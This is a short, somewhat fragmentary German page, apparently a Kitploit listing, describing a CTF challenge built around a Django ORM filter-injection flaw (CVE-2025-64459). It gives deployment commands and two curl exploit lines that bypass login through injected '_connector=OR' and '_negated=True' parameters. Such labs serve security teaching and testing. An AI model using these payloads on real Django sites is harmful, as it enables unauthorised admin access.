CVE-2025-64459 — CTF-Herausforderung, die Django-ORM-Filter-Injektion (CVE-2025-64459) mit Auth-Bypass- und Produktfilter-Bypass-Exploits demonstriert, einschließlich Bereitstellung und Flag-Abruf. | Kitploit

CTF-Challenge: Django ORM Injection (CVE-2025-64459)

Kategorie: Web-Sicherheit
Schwierigkeit: Mittel
Schwachstelle: CVE-2025-64459 – Django ORM Filter Injection

📝 Beschreibung

Wir haben einen sicheren Merch-Shop mit Admin-Panel gebaut. Kannst du die Authentifizierung umgehen und die private Admin-Notiz finden

URL: http://YOUR_SERVER:6008

🚀 Bereitstellung

cd web_django_cve
docker-compose up --build -d

🎯 Exploits (CVE-2025-64459)

# Using _connector=OR
curl "http://HOST:8054/login/?username=admin&_connector=OR&is_superuser=True"

# Using _negated
curl "http://HOST:8054/login/?username=admin&_negated=True"

CVE-2025-64459

Beliebteste

Produktfilter-Bypass (/)

🏁 Flagge